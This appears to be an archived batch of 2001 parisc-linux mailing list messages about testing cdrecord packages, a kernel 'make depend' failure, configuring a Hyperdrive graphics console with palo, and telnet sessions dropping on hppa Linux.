Approved: news@gmane.org
Message-ID: <3C1509AA.7002D207@umr.edu>
References: <20011209201219.GT1515@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620827 31093 80.91.229.3 (22 Nov 2014 01:47:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 10 12:14:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx.rollanet.org (mailsrv.rollanet.org [192.55.114.7])
	by dsl2.external.hp.com (Postfix) with SMTP id 8143F6029
	for <parisc-linux@parisc-linux.org>; Mon, 10 Dec 2001 12:14:56 -0700 (MST)
Original-Received: (qmail 6063 invoked from network); 10 Dec 2001 19:14:50 -0000
Original-Received: from cessna.rollanet.org (HELO umr.edu) (nneul@216.229.93.21)
  by mx.rollanet.org with SMTP; 10 Dec 2001 19:14:50 -0000
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.15-pre4 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13286

Randolph Chung wrote:
> 
> I just built cdrecord and friends for hppa-linux (there's a small patch
> needed that has been submitted to the BTS). Unfortunately I do not have
> a parisc-linux setup to test it with. Can someone here please give it a
> try and report the results?
> 
> http://people.debian.org/~tausq/hppa/
>         cdrecord_1.10-2_hppa.deb
>         mkisofs_1.10-2_hppa.deb
>         cdda2wav_1.10-2_hppa.deb
> 
> If you are not familiar with CD-writing under Linux, you may want to
> refer to:
> http://www.linux.com/howto/CD-Writing-HOWTO.html
> 
> thanks!
> randolph
> --
> Debian Developer <tausq@debian.org>
> http://www.TauSq.org/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

I've got one sitting next to my j200 that I recently disconnected from
my pc. Will give it a shot sometime in the next couple days.

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216



From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <charles_slivkoff@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.16-pa16 (from CVS) fails on "make depend"
Date: Mon, 10 Dec 2001 17:39:52 -0500
Organization: HP Response Center
Lines: 39
Approved: news@gmane.org
Message-ID: <3C1539B8.A3175E86@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620827 31101 80.91.229.3 (22 Nov 2014 01:47:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 10 15:39:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id F17C5482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 15:39:54 -0700 (MST)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel7.hp.com (Postfix) with ESMTP id C59C21F87C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 17:36:30 -0500 (EST)
Original-Received: from xatlbh3.atl.hp.com (xatlbh3.atl.hp.com [15.45.89.188])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 56EC91F519
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 17:39:53 -0500 (EST)
Original-Received: from hp.com (wahoo.atl.hp.com [15.50.81.145]) by xatlbh3.atl.hp.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id Y2B9C5B2; Mon, 10 Dec 2001 17:39:52 -0500
X-Mailer: Mozilla 4.79 [en] (X11; I; HP-UX B.11.00 9000/778)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13287

I did a CVS update yesterday and tried to build a kernel today, using
the same .config from my last successful build (2.4.9-pa78).

After a "make clean", "make depend" is failing with the error below.
I've done a "make menuconfig" and things seem to be OK.

Anyone have any suggestions?

-chuck



make[6]: Entering directory `/usr/src/linux/drivers/char/joystick'
/usr/src/linux/scripts/mkdep -D__KERNEL__ -I/usr/src/linux/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer
-fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs
-ffunction-sections -march=1.1 -mschedule=7100LC  -- a3d.c adi.c
amijoy.c analog.c cobra.c cs461x.c db9.c emu10k1-gp.c gamecon.c
gameport.c gf2k.c grip.c iforce.c interact.c lightning.c magellan.c
ns558.c pcigame.c serio.c serport.c sidewinder.c spaceball.c spaceorb.c
stinger.c tmdc.c turbografx.c warrior.c > .depend
make[6]: Leaving directory `/usr/src/linux/drivers/char/joystick'
make -C mwave fastdep
make: *** mwave: No such file or directory.  Stop.
make: Entering an unknown directorymake: Leaving an unknown
directorymake[5]: *** [_sfdep_mwave] Error 2
make[5]: Leaving directory `/usr/src/linux/drivers/char'
make[4]: *** [fastdep] Error 2
make[4]: Leaving directory `/usr/src/linux/drivers/char'
make[3]: *** [_sfdep_char] Error 2
make[3]: Leaving directory `/usr/src/linux/drivers'
make[2]: *** [fastdep] Error 2
make[2]: Leaving directory `/usr/src/linux/drivers'
make[1]: *** [_sfdep_drivers] Error 2
make[1]: Leaving directory `/usr/src/linux'
make: *** [dep-files] Error 2



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa16 (from CVS) fails on "make depend"
Date: Mon, 10 Dec 2001 23:41:39 +0100 (CET)
Lines: 56
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112102340470.14615-100000@r6.petescaff.com>
References: <3C1539B8.A3175E86@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620828 31104 80.91.229.3 (22 Nov 2014 01:47:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:08 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Chuck Slivkoff <charles_slivkoff@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 10 15:41:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FE44482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 15:41:49 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16DZ7D-00032U-00; Mon, 10 Dec 2001 23:41:39 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 16DZ7D-0004Wy-00; Mon, 10 Dec 2001 23:41:39 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <3C1539B8.A3175E86@hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13288

Chuck

Did you do a 'make oldconfig' after copying in your old .config & before
anything else?

R.
PeteM

On Mon, 10 Dec 2001, Chuck Slivkoff wrote:

> I did a CVS update yesterday and tried to build a kernel today, using
> the same .config from my last successful build (2.4.9-pa78).
>
> After a "make clean", "make depend" is failing with the error below.
> I've done a "make menuconfig" and things seem to be OK.
>
> Anyone have any suggestions?
>
> -chuck
>
>
>
> make[6]: Entering directory `/usr/src/linux/drivers/char/joystick'
> /usr/src/linux/scripts/mkdep -D__KERNEL__ -I/usr/src/linux/include -Wall
> -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer
> -fno-strict-aliasing -fno-common -D__linux__ -pipe -fno-strength-reduce
> -mno-space-regs -mfast-indirect-calls -mdisable-fpregs
> -ffunction-sections -march=1.1 -mschedule=7100LC  -- a3d.c adi.c
> amijoy.c analog.c cobra.c cs461x.c db9.c emu10k1-gp.c gamecon.c
> gameport.c gf2k.c grip.c iforce.c interact.c lightning.c magellan.c
> ns558.c pcigame.c serio.c serport.c sidewinder.c spaceball.c spaceorb.c
> stinger.c tmdc.c turbografx.c warrior.c > .depend
> make[6]: Leaving directory `/usr/src/linux/drivers/char/joystick'
> make -C mwave fastdep
> make: *** mwave: No such file or directory.  Stop.
> make: Entering an unknown directorymake: Leaving an unknown
> directorymake[5]: *** [_sfdep_mwave] Error 2
> make[5]: Leaving directory `/usr/src/linux/drivers/char'
> make[4]: *** [fastdep] Error 2
> make[4]: Leaving directory `/usr/src/linux/drivers/char'
> make[3]: *** [_sfdep_char] Error 2
> make[3]: Leaving directory `/usr/src/linux/drivers'
> make[2]: *** [fastdep] Error 2
> make[2]: Leaving directory `/usr/src/linux/drivers'
> make[1]: *** [_sfdep_drivers] Error 2
> make[1]: Leaving directory `/usr/src/linux'
> make: *** [dep-files] Error 2
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa16 (from CVS) fails on "make depend"
Date: Mon, 10 Dec 2001 22:42:15 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20011210224215.L3427@parcelfarce.linux.theplanet.co.uk>
References: <3C1539B8.A3175E86@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620828 31109 80.91.229.3 (22 Nov 2014 01:47:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <charles_slivkoff@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 10 15:42:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE6EA6124
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 15:42:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16DZ7n-0005CO-00; Mon, 10 Dec 2001 22:42:15 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3C1539B8.A3175E86@hp.com>; from charles_slivkoff@hp.com on Mon, Dec 10, 2001 at 05:39:52PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13289

On Mon, Dec 10, 2001 at 05:39:52PM -0500, Chuck Slivkoff wrote:
> I did a CVS update yesterday and tried to build a kernel today, using
> the same .config from my last successful build (2.4.9-pa78).
> 
> After a "make clean", "make depend" is failing with the error below.
> I've done a "make menuconfig" and things seem to be OK.
> 
> Anyone have any suggestions?

are you using the `approved' .cvsrc in build-tools?  seems you're missing
-P to your update command.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] console switching with C160 Hyperdrive option card
Date: 10 Dec 2001 21:55:10 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <1008039310.31094.29.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-SMZl9pxMOWZvwxHSLLgF"
X-Trace: ger.gmane.org 1416620828 31112 80.91.229.3 (22 Nov 2014 01:47:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:08 +0000 (UTC)
To: palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 10 19:55:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C87D482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 19:55:37 -0700 (MST)
Original-Received: from archimedes.localnetsolutions.com ([199.174.105.194])
	by barry.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 16Dd4w-00050w-00
	for parisc-linux@lists.parisc-linux.org; Mon, 10 Dec 2001 21:55:34 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id fBB2tA703230;
	Mon, 10 Dec 2001 21:55:10 -0500
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13290

--=-SMZl9pxMOWZvwxHSLLgF
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I loaded up the 0.9.3-rc6 iso. Loaded great onto a C160. I have a
Hyperdrive optional graphics card that my A4033A monitor is attached to.
The main Gecko GSC core graphics is not used. I can get a serial console
with no problem.

How do I tell palo to use the Hyperdrive card?=20

I tried telling it console=3Dfb0, but never got anything. I tried telling
it sti=3D1, no luck there. Tried both.=20

Suggestions welcome !
--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-SMZl9pxMOWZvwxHSLLgF
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8FXWOYZCtw4KcbKcRAnOYAKD0aLJZw66HHUv4LjQL0N1XQRlg0wCeL77/
IhuaGqrb0QrKlawPSCynqoQ=
=Xrzc
-----END PGP SIGNATURE-----

--=-SMZl9pxMOWZvwxHSLLgF--



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] console switching with C160 Hyperdrive option card
Date: Tue, 11 Dec 2001 09:50:21 +0100
Organization: SAP LinuxLab
Lines: 22
Approved: news@gmane.org
Message-ID: <E16DicI-0000Xi-00@linuxlab.wdf.sap-ag.de>
References: <1008039310.31094.29.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620828 31114 80.91.229.3 (22 Nov 2014 01:47:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:08 +0000 (UTC)
To: "James P. Kinney III" <jkinney@localnetsolutions.com>,
	palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 01:50:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE818482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Dec 2001 01:50:25 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id JAA13742;
  Tue, 11 Dec 2001 09:53:43 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <1008039310.31094.29.camel@archimedes.localnetsolutions.com>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13291

On Tuesday 11 December 2001 03:55, James P. Kinney III wrote:
> I loaded up the 0.9.3-rc6 iso. Loaded great onto a C160. I have a
> Hyperdrive optional graphics card that my A4033A monitor is attached to.
> The main Gecko GSC core graphics is not used. I can get a serial console
> with no problem.
>
> How do I tell palo to use the Hyperdrive card?
>
> I tried telling it console=fb0, but never got anything. I tried telling
> it sti=1, no luck there. Tried both.
>
> Suggestions welcome !

Hi James,

sti=1 should be the right value if the stifb driver detects and supports your 
hyperdrive. Maybe you could post the boot-messages regarding your 
graphic cards (`dmesg | grep sti`) ?

Helge



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] telnetd on hppa: strange behaviour?
Date: Tue, 11 Dec 2001 17:01:27 +0100 (CET)
Lines: 106
Approved: news@gmane.org
Message-ID: <1008086487.3c162dd79749d@webmail.tiscalinet.be>
References: <1008007312.3c14f890e4d33@webmail.tiscalinet.be> <3C15005D.4884E0C5@umr.edu> <1008010546.3c150532c596f@webmail.tiscalinet.be> <3C1508B2.3CCCDCF2@umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620829 31116 80.91.229.3 (22 Nov 2014 01:47:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:09 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Nathan Neulinger <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 09:01:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F166482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Dec 2001 09:01:34 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16DpLT-0003ly-00; Tue, 11 Dec 2001 17:01:27 +0100
In-Reply-To: <3C1508B2.3CCCDCF2@umr.edu>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13292

Hi Nathan,

According to apt-get man page the difference between upgrade and dist-upgrade
seems to me to be in the selection of more or less important packages:

man apt-get
...
       dist-upgrade
              dist-upgrade, in addition to performing  the  func
              tion  of upgrade, also intelligently handles chang
              ing dependencies with  new  versions  of  packages;
              apt-get  has  a "smart" conflict resolution system,
              and it will attempt to upgrade the  most  important
              packages  at  the expense of less important ones if
              necessary.  The /etc/apt/sources.list file contains
              a  list of locations from which to retrieve desired
              package files.

But I always forget to log stdout and sdterr of this command.
Do you know if it exist somewhere a log of dpkg actions (like
/var/adm/sw/sw....log of HPUX SD)?

        Joel

Quoting Nathan Neulinger <nneul@umr.edu>:

> Hmm... never seen that symptom except with the early kernels, which
> obviously isn't the case here.
> 
> I'm not familiar with 'dist-upgrade', but I typically run 'apt-get
> update' then 'apt-get upgrade'. 
> 
> -- Nathan
> 
> joel.soete@freebel.net wrote:
> > 
> > Hi Nathan,
> > 
> > Sorry but once again I forgot to mention it (because I thought to a
> telnetd bug):
> > I experiment it with my last 2.4.16-pa16 (not the one in debian pool
> package) as
> > weel as with kernel 2.4.9-32 (this from the debian pool
> > kernel-image-2.4.9-32_82.1_hppa.deb package).
> > And I also forgot to mentioned that I just do some 2h ago a apt-get
> dist-upgrade
> > and "0 pkg upgraded, 0 newly installed, 0 to remove and 2 not
> upgraded". Also
> > may be too early uptodate?
> > 
> > Thanks for additional advises,
> >         Joel
> > 
> > Quoting Nathan Neulinger <nneul@umr.edu>:
> > 
> > > joel.soete@freebel.net wrote:
> > > >
> > > > Hi all,
> > > >
> > > > I use to work with a telnet connection to my hppa linux box.
> > > > And I just notice that if I do a ls -al in a directory containing
> many
> > > soft
> > > > links the telnet session stop with "connection close by foreign
> hosts"
> > > (and not
> > > > with a simple ls)?
> > > >
> > > > (I just do a apt-get dist-uprade but nothing has to be done. Also
> I
> > > assume to be
> > > > up-to-date)
> > > >
> > > > Thanks in advance for advice,
> > > >         Joel
> > >
> > > Get yourself a more recent kernel. That's a known problem with the
> > > kernel on the 0.9.2 media.
> > >
> > > -- Nathan
> > >
> > > ------------------------------------------------------------
> > > Nathan Neulinger                       EMail:  nneul@umr.edu
> > > University of Missouri - Rolla         Phone: (573) 341-4841
> > > Computing Services                       Fax: (573) 341-4216
> > >
> > >
> > 
> > -------------------------------------------------
> > This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> 
> -- 
> 
> 
> ------------------------------------------------------------
> Nathan Neulinger                       EMail:  nneul@umr.edu
> University of Missouri - Rolla         Phone: (573) 341-4841
> Computing Services                       Fax: (573) 341-4216
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <charles_slivkoff@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.4.16-pa16 (from CVS) fails on "make depend"
Date: Tue, 11 Dec 2001 11:43:22 -0500
Organization: HP Response Center
Lines: 38
Approved: news@gmane.org
Message-ID: <3C1637AA.81611E8C@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620829 31121 80.91.229.3 (22 Nov 2014 01:47:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 09:43:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
